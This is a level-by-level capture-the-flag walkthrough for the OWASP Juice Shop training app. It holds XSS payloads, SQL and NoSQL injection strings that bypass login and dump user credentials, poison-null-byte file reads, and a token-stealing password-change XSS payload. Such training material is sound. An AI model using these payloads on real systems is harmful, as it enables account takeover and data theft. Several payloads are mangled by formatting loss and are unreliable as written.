This is an CTF solutions for Latest Version of OWASP Juice Shop.
— —- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —- —— —
LEVEL - 1
—- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —-
0 - (Score Board)
For this challenge you need to search all the paths to get score board here we will dirsearch to do this and got following with status code 200
- /.well-known/security.txt
- /ftp
- /robots.txt
1 - (Error Handling)
There are always some location available in each website which require authentication to access
the following endpoint occurred and error.
http://localhost:3000/profile
2 - (Privacy Policy)
Read our privacy policy
this is always to recommend to read for security policy
- Login into Application with valid credentials
- Privacy & Security > Privacy Policy
3 - (Outdated Whitelist)
4 - (Confidential Document)
Access a confidential Document
use dirb tool you will end up with a path /ftp
http://localhost:3000/ftp
Only .md and .pdf files are allowed!
5 - (XSS Dom based)
got to search bar and enter below payload
<iframe src="javascript:alert(`xss`)">
6 - (XSS Reflected)
Go to track orders option
<iframe src="javascript:alert(`xss`)">
7- (Repetitive Registration)
there is flaw in Registration
Follow the DRY principle while registering a user
- type password & repeat password both > correct
eg :- 1234,1234 (this will validate the second filed )
once validated change the real password and let be repeat password the same
eg - 12345,1234
if it accepts then this is flaw.
8 - (Zero-Stars)
Give a devastating zero-star feedback to the store
go to > Costumer feedback
use ‘inspect element’ on the submit button.
make > enabeld="true"
— —- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —- —— —
LEVEL -2
—- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —-
1- Security Policy
Behave like any “white-hat” should before getting into the action.
look for /.well-known/security.txt
2 - Login Admin (Injection)
Log in with the administrator’s user account.
username - '1=1 --
password - anypassword
(this will give access to the first user i.e admin)
3 - Admin Section (Broken Access Control)
once logged in with the help of injection in admin account visit following URL.
http://localhost:3000/#/administration
and here you get admin panel section access
4 - Five-Star Feedback (Broken Access Control)
get into admin account and using the injection
once got access into admin account
go to /administration section and here you get complete access to admin section to remove the all feedbacks of 5 stars.
5 - View basket
6 - Deprecated Interface B2B
here you need to upload a file whose extension is not allowed
we will check main.js here we get if search for pdf or zip
the result will be like > there is one more file extension allowed
eg:- upload xml file to solve this challenge and look for console we get 410 Gone
7 - Password Strength
Log in with the administrator’s user credentials without previously changing them or applying SQL Injection.
Do SQL injection you will get an hash for a password > get original value using rainbow table,
else you can brute-force because password for admin is so easy
admin123
8- Login MC SafeSearch
(google MC SafeSearch) - listen to video you will get password
Log in with MC SafeSearch’s original user credentials without applying SQL Injection or any other bypass.
username - mc.safesearch@juice-sh.op
password - Mr. N00dles
9 - Stored Simple XSS on username
- hange the username into
<script>alert(
xss)</script>
and click Set Username. - Notice the displayed username under the profile picture now is
lert(
xss)
while in the Username field it showslert(
xss)</script>
- both a clear indication that the malicious input was sanitized. Obviously the sanitization was not very sophisticated, as the input was quite mangled and even the closing<script>
tag survived the procedure. - Change the username into
<<a|ascript>alert(
xss)</script>
and click Set Username. - The naive sanitizer only removes
<a|a
effectively changing the username into<script>alert(
xss)</script>
thus resulting in the expected alert box popping up. -
use the following payload.
«a ascript>alert( xss
)</script>
10 - Weird Crypto
— —- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —- —— —
LEVEL -3
—- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —-
1 - API-only XSS
(Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> without using the frontend application at all.)
- g in to the application with any user.
- Copy your
Authorization
header from any HTTP request submitted via browser. - Submit a POST request to http://localhost:3000/api/Products with
{"name": "XSS", "description": "<iframe src=\"javascript:alert(
xss)\">", "price": 47.11}
as body,application/json
asContent-Type
- and
Bearer ?
asAuthorization
header, replacing the?
with the token you copied from the browser.
2 - Client-side XSS Protection
use POSTMAN tool
Perform a persisted XSS attack with <iframe src="javascript:alert(``xss``)"> without using the frontend application at all.
Submit a POST request to http://localhost:3000/api/Users with
{"email": "<iframe src=\"javascript:alert(
xss
)\">", "password": "xss"}
as body- and
application/json
asContent-Type
header.
- Log in to the application with any user.
- Visit http://localhost:3000/#/administration.
- An alert box with the text “xss” should appear.
3 - Admin Registration
Register as a user with administrator privileges.
when Registration the api send a post request as follows
Submit a POST request to http://localhost:3000/api/Users with
{“email”:”demo@demo.com”,”password”:”12345”,”passwordRepeat”:”12345”,”securityQuestion”:{“id”:9,”question”:”Your ZIP/postal code when you were a teenager?”,”createdAt”:”2019-10-13T06:02:00.790Z”,”updatedAt”:”2019-10-13T06:02:00.790Z”},”securityAnswer”:”431005”}
in response we get “role”:”customer”
append it with value : “admin”
{“email”:”demo@demo.com”,”password”:”12345”,”passwordRepeat”:”12345”, “role”:”customer” ,”securityQuestion”:{“id”:9,”question”:”Your ZIP/postal code when you were a teenager?”,”createdAt”:”2019-10-13T06:02:00.790Z”,”updatedAt”:”2019-10-13T06:02:00.790Z”},”securityAnswer”:”431005”}
4 - Bjoern’s Favorite Pet
Reset the password of Bjoern’s OWASP account via the Forgot Password mechanism with the original answer to his security question.
This conference talk recording immediately dives into a demo of the Juice Shop application in which Bjoern starts registering a new account 3:59 into the video (https://youtu.be/Lu0-kDdtVf4?t=239)
Zaya
5 - Forged Feedback
Post some feedback in another users name.
- In this we need to intercept the request send from browser to server in burpsuite
on following endpoint
http://localhost:3000/api/Feedbacks/
where when we click on submit following POST request is send
{“UserId”:16,”captchaId”:16,”captcha”:”51”,”comment”:”testing,”rating”:2}
here we can simply replace the UserId parameter with another UserId which will make following request as following.
{“UserId”:14,”captchaId”:16,”captcha”:”51”,”comment”:”testing,”rating”:2}
6 - Forged Review
Post a product review as another user or edit any user’s existing review.
- In this we need to intercept the request send from browser to server in burpsuite
on following endpoint
http://localhost:3000/rest/products/1/reviews
where when we click on submit following POST request is send
{“message”:”this is awesome [product”,“author”:”testinglikepro@gmail.com](mailto:product%22,%22author%22:%22testinglikepro@gmail.com)”}
here we can simply replace the author parameter with another author email which will make following request as following.
{“message”:”this is awesome [product”,“author”:”](mailto:product%22,%22author%22:%22testinglikepro@gmail.com)demo@demo.com”}
7 - Manipulate Basket
Put an additional product into another user’s shopping basket.
- When you add a product to your basket a following POST request is being send.
http://localhost:3000/api/BasketItems/
with your Authorisation bearer
(lets assume your “BasketId”:”14” , and victims “BasketId”:”15” )
the request will be like this.
{“ProductId”:22,”BasketId”:”14”,”quantity”:1} //normal
{“ProductId”:22,”BasketId”:”15”,”quantity”:1} //manipulated
but we get error as invalid BucketId
here comes the HTTP parameter pollution attack
“ProductId”:22,”BasketId”:”15”,”quantity”:1,”BasketId”:”13”}
and here you win.
8 - Payback Time
Place an order that makes you rich.
Here goal is to make a basket quantity in a negative value.
- Log in as any user.
- Put at least one item into your shopping basket.
- Note that reducing the quantity of a basket item below 1 is not possible via the UI
- When changing the quantity via the UI, you will notice
PUT
requests to http://localhost:3000/api/BasketItems/{id} in the Network tab of your DevTools - Memorize the
{id}
of any item in your basket - Copy your
Authorization
header from any HTTP request submitted via browser. - Submit a
PUT
request to http://localhost:3000/api/BasketItems/{id} replacing{id}
with the memorized number from 5. and with:{"quantity": -100}
as body,application/json
asContent-Type
- and
Bearer ?
asAuthorization
header, replacing the?
with the token you copied from the browser.
- Continue Proceed and Click Checkout to issue the negative order and solve this challenge.
9 - CAPTCHA Bypass
Submit 10 or more customer feedbacks within 10 seconds.
This is simple send same 10 requests with same captcha value and id
eg :-
- Submit a
POST
request to http://localhost:3000/api/Feedbacks- {“UserId”:36,”captchaId”:20,”captcha”:”-29”,”comment”:”thisisgreat”,”rating”:1} as body,
application/json
asContent-Type
-
and
Bearer ?
asAuthorization
header, replacing the?
with the token you copied from the browser.use the same post request 10 times using any script or manual.
10 - Product Tampering
Change the href of the link within the OWASP SSL Advanced Forensic Tool (O-Saft) product description into https://owasp.slack.com.
- Submit a
PUT
request to http://localhost:3000/api/Products/9- {“description”:”<a href="https://owasp.slack.com" target="_blank">More…</a>”} as body,
application/json
asContent-Type
- and
Bearer ?
asAuthorization
header, replacing the?
with the token you copied from the browser.
11 - Privacy Policy Inspection
Prove that you actually read our privacy policy.
- Open http://localhost:3000/#/privacy-security/privacy-policy.
- Moving your mouse cursor over each paragraph will make a fire-effect appear on certain words or partial sentences.
- spect the HTML in your browser and note down all text inside
<span class="hot">
tags, which arehttp://localhost
,We may also
,instruct you
,to refuse all
,reasonably necessary
andresponsibility
. - Combine those into the URL http://localhost:3000/we/may/also/instruct/you/to/refuse/all/reasonably/necessary/responsibility (adding the server port if needed) and solve the challenge by visiting it.
It seems the Juice Shop team did not appreciate your extensive reading effort enough to provide even a tiny gratification, as you will receive only a 404 Error: ENOENT: no such file or directory, stat '/app/frontend/dist/frontend/assets/private/thank-you.jpg'
.
12 - Login Jim
Log in with Jim’s user account.
- Log in with Email
jim@juice-sh.op'--
and any Password if you already know the email address of Jim. - or log in with Email
jim@juice-sh.op
and Passwordncc-1701
if you looked up Jim’s password hash in a rainbow table after harvesting the user data as described in Retrieve a list of all user credentials via SQL Injection.
13 - Reset Jim’s Password
Reset Jim’s password via the Forgot Password mechanism with the original answer to his security question.
Visit http://localhost:3000/#/forgot-password and provide jim@juice-sh.op as your Email to learn that Your eldest siblings middle name? is Jim’s chosen security question
-
look for all products reviews
- A product review for the OWASP Juice Shop-CTF Velcro Patch stating “Looks so much better on my uniform than the boring Starfleet symbol.”
- Another product review “Fresh out of a replicator.” on the Green Smoothie product
- google “Jim Starfleet”
now look for siblings the name is : “Samuel”
14 - Upload Size
Upload a file larger than 100 kB, but less than 200kB
- The client-side validation prevents uploads larger than 100 kB.
- Craft a
POST
request to http://localhost:3000/file-upload with a form parameterfile
that contains a PDF file of more than 100 kB but less than 200 kB. - The response from the server will be a
204
with no content, but the challenge will be successfully solved.
Files larger than 200 kB are rejected by an upload size check on server side with a 500
error stating Error: File too large
.
15 - Upload a file that has no .pdf or .zip extension
Upload a file larger than 100 kB, but less than 200kB with any extension other than .pdf, .zip to solve this.
- Craft a
POST
request to http://localhost:3000/file-upload with a form parameterfile
that contains a PDF file of more than 100 kB but less than 200 kB with any other extension other than .pdf and .zip - The response from the server will be a
204
with no content, but the challenge will be successfully solved.
16 - Login Amy
Log in with Amy’s original user credentials
Log in with Amy’s original user credentials. (This could take 93.83 billion trillion trillion centuries to brute force, but luckily she did not read the “One Important Final Note”)
- Google for either
93.83 billion trillion trillion centuries
orOne Important Final Note
. - Both searches should show https://www.grc.com/haystack.htm as one of the top hits.
- After reading up on Password Padding try the example password
D0g.....................
- She actually did a very similar padding trick, just with the name of her husband Kif written as K1f instead of D0g from the example! She did not even bother changing the padding length!
- Visit http://localhost:3000/#/login and log in with credentials
amy@juice-sh.op
and passwordK1f.....................
to solve the challenge
17 - Database Schema
Exfiltrate the entire DB schema definition via SQL Injection.
send a GET request on following endpoint
http://localhost:3000/rest/products/search?q=1
qwert')) UNION SELECT sql, '2', '3', '4', '5', '6', '7', '8', '9' FROM sqlite_master-- solves the challenge.
18 - GDPR Data Erasure
Log in with Chris’ erased user account.
- Log in with Email
chris.pike@juice-sh.op'--
and any Password if you already know the email address of Chris. - or log in with Email as
\' or deletedAt IS NOT NULL--
and any Password you like for a “lucky hit” as Chris seems to be the only or at least first ever deleted user. The presence ofdeletedAt
you might have derived from Retrieve a list of all user credentials via SQL Injection and enforcing it to beNOT NULL
will give you back only users who were soft-deleted at some point of time.
19 - Login Bender
Log in with Bender’s user account.
Log in with Email bender@juice-sh.op’– and any Password if you already know the email address of Bender.
— —- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —- —— —
LEVEL -4
—- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —-
1 - Access Log
Gain access to any access log file of the server.
- recon can make you win in this challenge
- Following the hint to drill down deeper than one level, you will at some point end up with http://localhost:3000/support/logs.
- Inside you will find at least one
access.log
of the current day. Open or download it to solve this challenge.
2 - Christmas Special
Order the Christmas special offer of 2014.
do a GET request on the following endpoint
http://localhost:3000/rest/products/search?q=
just to execute sql statement or fix query we do following in URL
http://localhost:3000/rest/products/search?q=')) --+
')) to close the query is SQLlite and --+ to comment remaining
now you get id response for Christmas offer id i.e 10
{
id 10,
name "Christmas Super-Surprise-Box (2014 Edition)",
description "Contains a random selection of 10 bottles (each 500ml) of our tastiest juices and an extra fan shirt for an unbeatable price! (Seasonal special offer! Limited availability!)",
price 29.99,
deluxePrice 29.99,
image "undefined.jpg",
createdAt "2019-10-13 06:02:02.907 +00:00",
updatedAt "2019-10-13 06:02:02.907 +00:00",
deletedAt "2014-12-27 00:00:00.000 +00:00",
}
now use the Product id while purchasing id:10 to solve this challenge.
{"ProductId":10,"BasketId":"20","quantity":1}
3 - Leaked Unsafe Product
Identify an unsafe product that was removed from the shop and inform the shop which ingredients are dangerous.
Submit a comment containing both Eurogium Edule and Hueteroneel via
http://localhost:3000/#/contact
to solve this challenge
4 - Easter Egg
Find the hidden easter egg.
-
Use the Poison Null Byte attack described in Access a developer’s forgotten backup file…
-
…to download
http://localhost:3000/ftp/eastere.gg%2500.md
Posison NULL BYTE - [%2500](http://localhost:3000/ftp/eastere.gg%2500.md)
5 - Nested Easter Egg
Apply some advanced cryptanalysis to find the real easter egg.
when you open this file downloaded from this.
http://localhost:3000/ftp/eastere.gg%2500.md
now you will get a string in this file.
L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA==
now we can understand it is base64
once we decode the string you get.
/gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt
again you are trapped, here i think ROT13 algorithm is used.
once we decode it with ROT13
we get the following.. string lets try this as path
/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg
http://localhost:3000/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg
6 - Expired Coupon
Successfully redeem an expired campaign coupon code.
7 - Forgotten Developer Backup
Access a developer’s forgotten backup file.
- Browse to
http://localhost:3000/ftp
(like in Access a confidential document. Openinghttp://localhost:3000/ftp/package.json.bak
directly will fail complaining about anillegal file type.
- Exploiting the parameter like in Access a salesman’s forgotten backup file will not work here - probably because is not a Markdown file.
- Using a *
Poison Null Byte* ( %00 )
the filter can be tricked, but only with a twist: Accessinghttp://localhost:3000/ftp/package.json.bak%00.md
will surprisingly not succeed… …because the% character needs to be URL-encoded (into %25 )
as well in order to work its magic later during the file system access.http://localhost:3000/ftp/package.json.bak%2500.md
will ultimately solve the challenge.
8 - Forgotten Sales Backup
Access a salesman’s forgotten backup file.
-
Use the Poison Null Byte attack described in Access a developer’s forgotten backup file…
-
…to download
http://localhost:3000/ftp/coupons_2013.md.bak%00.md
9 - Login Bjoern
- Bjoern has registered via Google OAuth with his (real) account bjoern.kimminich@googlemail.com.
- Cracking his password hash will probably not work.
- To find out how the OAuth registration and login work, inspect the
main.js
and search foroauth
, which will eventually reveal a functionuserService.oauthLogin()
. - In the function body you will notice a call to
userService.save()
- which is used to create a user account in the non-Google User Registration process - followed by a call to the regularuserService.login()
- The
save()
andlogin()
function calls both leak how the password for the account is set:password: btoa(n.email.split("").reverse().join(""))
- Some Internet search will reveal that
window.btoa()
is a default function to encode strings into Base64. - What is passed into
btoa()
isemail.split("").reverse().join("")
, which is simply the email address string reversed. - Now all you have to do is Base64-encode
moc.liamg@hcinimmik.nreojb
, so you can log in directly with Emailbjoern.kimminich@gmail.com
and PasswordbW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=
.
10 - GDPR Data Theft
Steal someone else’s personal data without using Injection.
- Log in as any user, put some items into your basket and create an order from these.
- Copy the order ID from the confirmation PDF. It should look similar to
5267-829f123593e9d098
in its format. - Visit http://localhost:3000/#/track-order, paste in your Order ID and then click Track.
- In the network tab of your browser you should find a request similar to http://localhost:3000/rest/track-order/7962-6e31e50a0c6f2ea3.
- Inspecting the response closely, you might notice that the user email address is partially obfuscated:
{"status":"success","data":[{"orderId":"5267-829f123593e9d098",**"email":"*dm*n@j**c*-sh.*p"**,"totalPrice":2.88,"products":[{"quantity":1,"name":"Apple Juice (1000ml)","price":1.99,"total":1.99,"bonus":0},{"quantity":1,"name":"Apple Pomace","price":0.89,"total":0.89,"bonus":0}],"bonus":0,"eta":"2","_id":"tosmfPsDaWcEnzRr3"}]}
- It looks like certain letters - seemingly all vowels - were replaced with
*
characters before the order was stored in the database. - Register a new user with an email address that would result in the exact same obfuscated email address. For example register
edmin@juice-sh.op
to steal the data ofadmin@juice-sh.op
. - Log in with your new user and immediately get your data exported via http://localhost:3000/#/privacy-security/data-export.
- You will notice that the order belonging to the existing user
admin@juice-sh.op
(in this example5267-829f123593e9d098
) is part of your new user’s data export due to the clash when obfuscating emails!
11 - Misplaced Signature File
Access a misplaced SIEM signature file.
- Use the Poison Null Byte attack described in Access a developer’s forgotten backup file…
- …to download http://localhost:3000/ftp/suspicious_errors.yml%2500.md
12 - NoSQL DoS
Let the server sleep for some time. (It has done more than enough hard work for you)
- You can interact with the backend API for product reviews via the dedicated endpoints
/rest/products/reviews
and/rest/products/{id}/reviews
- Get the reviews of the product with database ID 1: http://localhost:3000/rest/products/1/reviews
- Inject a
[sleep(integer ms)
command](https://docs.mongodb.com/manual/reference/method/sleep/) by changing the URL into http://localhost:3000/rest/products/sleep(2000)/reviews to solve the challenge
To avoid real Denial-of-Service (DoS) issues, the Juice Shop will only wait for a maximum of 2 seconds, so http://localhost:3000/rest/products/sleep(999999)/reviews should not take longer than http://localhost:3000/rest/products/sleep(2000)/reviews to respond.
13 - NoSQL Manipulation
Update multiple product reviews at the same time.
orignal Request URL :- PUT http://localhost:3000/rest/products/24/reviews
manipulated Request URL :- PATCH http://localhost:3000/rest/products/reviews
{ "id": { "$ne": -1 }, "message": "NoSQL Injection!" }
as a body
- as
Content-Type
header. - and
Bearer ?
asAuthorization
header, replacing the?
with the token
Check different product detail dialogs to verify that all review texts have been changed into NoSQL Injection!
14 -Whitelist Bypass - Unvalidated Redirects
Enforce a redirect to a page you are not supposed to redirect to.
- Pick one of the redirect links in the application, e.g. http://localhost:3000/redirect?to=https://github.com/bkimminich/juice-shop from the GitHub-button in the navigation bar.
- Trying to redirect to some unrecognized URL fails due to whitelist validation with
406 Error: Unrecognized target URL for redirect
. - Removing the
to
parameter (http://localhost:3000/redirect) will instead yield a500 TypeError: Cannot read property 'indexOf' of undefined
where theindexOf
indicates a severe flaw in the way the whitelist works. - Craft a redirect URL so that the target-URL in
to
comes with an own parameter containing a URL from the whitelist, e.g. http://localhost:3000/redirect?to=http://kimminich.de?pwned=https://github.com/bkimminich/juice-shop
15 - Reset Bender’s Password
Reset Bender’s password via the Forgot Password mechanism with the original answer to his security question.
-
Trying to find out who “Bender” might be should immediately lead you to Bender from Futurama as the only viable option
+
- Visit https://en.wikipedia.org/wiki/Bender_(Futurama and read the Character Biography section
- It tells you that Bender had a job at the metalworking factory, bending steel girders for the construction of suicide booths.
- Find out more on Suicide Booths on http://futurama.wikia.com/wiki/Suicide_booth
- This site tells you that their most important brand is Stop’n’Drop
- Visit http://localhost:3000/#/forgot-password and provide
bender@juice-sh.op
as your Email - In the subsequently appearing form, provide
Stop'n'Drop
as Company you first work for as an adult? - Then type any New Password and matching Repeat New Password
- Click Change to solve this challenge
16 - Steganography
Rat out a notorious character hiding in plain sight in the shop. (Mention the exact name of the character)
Security through Obscurity
-
Looking for irregularities among the image files you will at some point notice that
5.png
is the only PNG file among otherwise only JPGs in the customer feedback carousel: - Running this image through some decoders available online will probably just return garbage, e.g. http://stylesuxx.github.io/steganography/ gives you
ÿÁÿm¶Û$–ÿ ?HÕPü^‡ÛN'c±UY‰;fä’HÜmÉ#r<v¸
or https://www.mobilefish.com/services/steganography/steganography.php gives up withNo hidden message or file found in the image
. On https://incoherency.co.uk/image-steganography/#unhide you will also find nothing independent of how you set the Hidden bits slider: - Moving on to client applications you might end up with OpenStego which is built in Java but also offers a Windows installer at https://github.com/syvaidya/openstego/releases.
-
Selecting the
5.png
and clicking Extract Data OpenStego will quickly claim to have been successful: -
The image that will be put into the Output Stego file location clearly depicts a pixelated version of Pickle Rick (from S3E3 - one of the best Rick & Morty episodes ever)
- Visit http://localhost:3000/#/contact
- Submit your feedback containing the name
Pickle Rick
(case doesn’t matter) to solve this challenge.
17 - Legacy Typosquatting (Vulnerable Components)
Inform the shop about a typosquatting trick it has been a victim of at least in v6.2.0-SNAPSHOT. (Mention the exact name of the culprit)
- Solve the Access a developer’s forgotten backup file challenge and open the
package.json.bak
file -
Scrutinizing each entry in the
dependencies
list you will at some point get toepilogue-js
, the overview page of which gives away that you find the culprit at https://www.npmjs.com/package/epilogue-js - Visit http://localhost:3000/#/contact
- Submit your feedback with
epilogue-js
in the comment to solve this challenge
You can probably imagine that the typosquatted epilogue-js
would be a lot harder to distinguish from the original repository epilogue
, if it where not marked with the THIS IS NOT THE MODULE YOU ARE LOOKING FOR!-warning at the very top. Below you can see the original epilogue
NPM page:
18 -User Credentials (Retrieve a list of all user credentials via SQL Injection.)
- During the Order the Christmas special offer of 2014 challenge you learned that the
/rest/products/search
endpoint is susceptible to SQL Injection into theq
parameter. - The attack payload you need to craft is a
UNION SELECT
merging the data from the user’s DB table into the products returned in the JSON result. - As a starting point we use the known working
'))--
attack pattern and try to make aUNION SELECT
out of it - Searching for
')) UNION SELECT * FROM x--
fails with aSQLITE_ERROR: no such table: x
as you would expect. But we can easily guess the table name or infer it from one of the previous attacks on the Login form where even the underlying SQL query was leaked. - Searching for
')) UNION SELECT * FROM Users--
fails with a promisingSQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns
which least confirms the table name. - The next step in a
UNION SELECT
-attack is typically to find the right number of returned columns. As the Search Results table in the UI has 3 columns displaying data, it will probably at least be three. You keep adding columns until no moreSQLITE_ERROR
occurs (or at least it becomes a different one):')) UNION SELECT '1' FROM Users--
fails withnumber of result columns
error')) UNION SELECT '1', '2' FROM Users--
fails withnumber of result columns
error')) UNION SELECT '1', '2', '3' FROM Users--
fails withnumber of result columns
error- (…)
')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8' FROM Users--
still fails withnumber of result columns
error')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' FROM Users--
finally gives you a JSON response back with an extra element{"id":"1","name":"2","description":"3","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"}
.
- Next you get rid of the unwanted product results changing the query into something like
qwert')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' FROM Users--
leaving only the “UNION
ed” element in the result set - The last step is to replace the fixed values with correct column names. You could guess those or derive them from the RESTful API results or remember them from previously seen SQL errors while attacking the Login form.
-
Searching for
qwert')) UNION SELECT id, email, password, '4', '5', '6', '7', '8', '9' FROM Users--
solves the challenge giving you a the list of all user data in convenient JSON format.
There is of course a much easier way to retrieve a list of all users as long as you are logged in: Open http://localhost:3000/#/administration while monitoring the HTTP calls in your browser’s developer tools. The response to http://localhost:3000/rest/user/authentication-details also contains the user data in JSON format. But: This list has all the password hashes replaced with *
-symbols, so it does not count as a solution for this challenge.
19 -Vulnerable Library (Vulnerable Components)
Inform the shop about a vulnerable library it is using. (Mention the exact library name and version in your comment)
Juice Shop depends on a JavaScript library with known vulnerabilities. Having the package.json.bak
and using an online vulnerability database like Retire.js or Snyk makes it rather easy to identify it.
+
- Solve Access a developer’s forgotten backup file
- Checking the dependencies in
package.json.bak
for known vulnerabilities online will give you a match (at least) forsanitize-html
: Sanitization of HTML strings is not applied recursively to input, allowing an attacker to potentially inject script and other markup (see https://snyk.io/vuln/npm:sanitize-html:20160801)express-jwt
: Inherits an authentication bypass and other vulnerabilities from its dependencies (see https://app.snyk.io/test/npm/express-jwt/0.1.3)
- Visit http://localhost:3000/#/contact
- Submit your feedback with the string pair
sanitize-html
and1.4.2
appearing somewhere in the comment. Alternatively you can submitexpress-jwt
and0.1.3
..
## 20 - Server-side XSS Protection
In the
package.json.bak
you might have noticed the pinned dependency"sanitize-html": "1.4.2"
. Internet research will yield a reported Cross-site Scripting (XSS) vulnerability, which was fixed with version 1.4.3 - one release later than used by the Juice Shop. The referenced GitHub issue explains the problem and gives an exploit example:Sanitization is not applied recursively, leading to a vulnerability to certain masking attacks. Example:I am not harmless: «img src=”csrf-attack”/>img src=”csrf-attack”/> is sanitized to I am not harmless:
Mitigation: Run sanitization recursively until the input html matches the output html.
- Visit http://localhost:3000/#/contact.
- Enter
<<script>Foo</script>iframe src="javascript:alert(
xss
)">
as Comment - Choose a rating and click Submit
- Visit http://localhost:3000/#/about for a first “xss” alert (from the Customer Feedback slideshow)
<<script>Foo</script>iframe src="javascript:alert(
xss)">
## 21 -HTTP-Header XSS
Perform a persisted XSS attack with
<iframe src="javascript:alert(
xss)">
through an HTTP header.- Login into application with valid credentials.
-
once you logged in, now intercept the request in burpsuite and click on logout replace the header on on following request
- proprietary header
True-Client-IP
: 1.2.3.4 - the JSON response you will notice
lastLoginIp: "1.2.3.4"
and after logging in again you will see1.2.3.4
as your IP Address on http://localhost:3000/#/privacy-security/last-login-ip. - Replay the request once more with
True-Client-IP: <iframe src="javascript:alert(
xss)">
to solve this seriously obscure challenge. -
Log in again and visit http://localhost:3000/#/privacy-security/last-login-ip see the alert popup.
## 22 - Ephemeral Accountant (Log in with the (non-existing) accountant acc0unt4nt@juice-sh.op without ever registering that user.)
/Injection
- Go to http://localhost:3000/#/login and try logging in with Email
'
and any Password while observing the Browser DevTools network tab. - You will notice the SQL query for the login in the error being thrown:
"sql": "SELECT * FROM Users WHERE email = ''' AND password = '339df5aeae5bc6ae557491e02619c5dd' AND deletedAt IS NULL"
- Solve Exfiltrate the entire DB schema definition via SQL Injection to learn the exact column names of the
Users
table. - Prepare a
UNION SELECT
payload what will a) ensure there is no result from the original query and b) will add the needed user on-the-fly using static values in the query. - Log in with Email
' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', 'acc0unt4nt@juice-sh.op' as 'email', '12345' as 'password', 'accounting' as 'role', '1.2.3.4' as 'lastLoginIp' , 'default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt')--
- This will trick the application backend into handing out a valid JWT token and thus establishing a user session.
— —- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —- —— —
# LEVEL -5
—- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —- —— — —-
## 1- Blockchain Hype (Learn about the Token Sale before its official announcement.) ~ Security through Obscurity
///
## 2 -Change Bender’s Password
###
(Change Bender's password into **slurmCl4ssic** without using SQL Injection or Forgot Password.)
(use postman tool)
- Log in as anyone.
- Probe the responses of
/rest/user/change-password
on various inputs:-
http://localhost:3000/rest/user/change-password?current=A&new=B&repeat=B
says
Current password is not correct.
-
http://localhost:3000/rest/user/change-password?new=B&repeat=B
yields a
200
success returning the updated user as JSON!
-
- Now Log in with Bender’s user account using SQL Injection.
- Craft a GET request with Bender’s
Authorization Bearer
header to http://localhost:3000/rest/user/change-password?new=slurmCl4ssic&repeat=slurmCl4ssic to solve the challenge.
### Bonus Round: Delivering the attack via reflected XSS
If you want to craft an actually realistic attack against
/rest/user/change-password
that you could send a user as a malicious link, you will have to invest a bit extra work, because a simple attack like Search for<img src="http://localhost:3000/rest/user/change-password?new=slurmCl4ssic&repeat=slurmCl4ssic">
will not work. Making someone click on the corresponding attack link http://localhost:3000/#/search?q=%3Cimg%20src%3D%22http:%2F%2Flocalhost:3000%2Frest%2Fuser%2Fchange-password%3Fnew%3DslurmCl4ssic%26repeat%3DslurmCl4ssic%22%3E will return a500
error when loading the image URL with a message clearly stating that your attack ran against a security-wall:Error: Blocked illegal activity
To make this exploit work, some more sophisticated attack URL is required:
Pretty-printed this attack is easier to understand:
<iframe src="javascript:xmlhttp = new XMLHttpRequest(); xmlhttp.open('GET', 'http://localhost:3000/rest/user/change-password?new=slurmCl4ssic&repeat=slurmCl4ssic'); xmlhttp.setRequestHeader('Authorization',`Bearer=${localStorage.getItem('token')}`); xmlhttp.send();"> </iframe>
Anyone who is logged in to the Juice Shop while clicking on this link will get their password set to the same one we forced onto Bender!
👏 Kudos to Joe Butler, who originally described this advanced XSS payload in his blog post Hacking(and automating!) the OWASP Juice Shop.
## 3 -Leaked Access Logs
### Dumpster dive the Internet for a leaked password and log in to the original user account it belongs to. (Creating a new account with the same password does not qualify as a solution.)
- Visit
[https://stackoverflow.com/questions/tagged/access-log](https://stackoverflow.com/questions/tagged/access-log)
to find all questions tagged with access-log in this popular platform - .Visit https://stackoverflow.com/questions/57061271/less-verbose-access-logs-using-expressjs-morgan to find more unambiguous URL paths from the Juice Shop in it
- you will get https://pastebin.com/4U1V1UjU
(search here for password)
- you get this as a current & new password but while changing password it failed means the password is still current password
0Y8rMnww$*9VFYE%C2%A759-!Fg1L6t&6lB
-
hash the known password with
MD5
and compare it to the password hashes harvested from Retrieve a list of all user credentials via SQL Injection Either way you will conclude that the password belongs toJ12934@juice-sh.op
so using this as Email and0Y8rMnww$*9VFYE%C2%A759-!Fg1L6t&6lB
as Password ``onhttp://localhost:3000/#/login
will solve the challenge -
but it will not work you need to do URL decode for password and here you get the original password
0Y8rMnww$*9VFYE§59-!Fg1L6t&6lB
- Submit your feedback with the string pair
4 - Email Leak
(Perform an unwanted information disclosure by accessing data cross-domain.)
-
Find a request to the
/rest/user/whoami
API endpoint. Notice that you can remove the “Authorization” header and it still works. -
Add a URL parameter called “callback”. This will cause the API to return the content as a JavaScript fragment (JSONP) rather than just a standard JSON object.
[
http://localhost:3000](http://localhost:3000/rest/user/whoami)/rest/user/whoami?callback=anyone
## 5 -Extra Language
### Retrieve the language file that never made it into production.
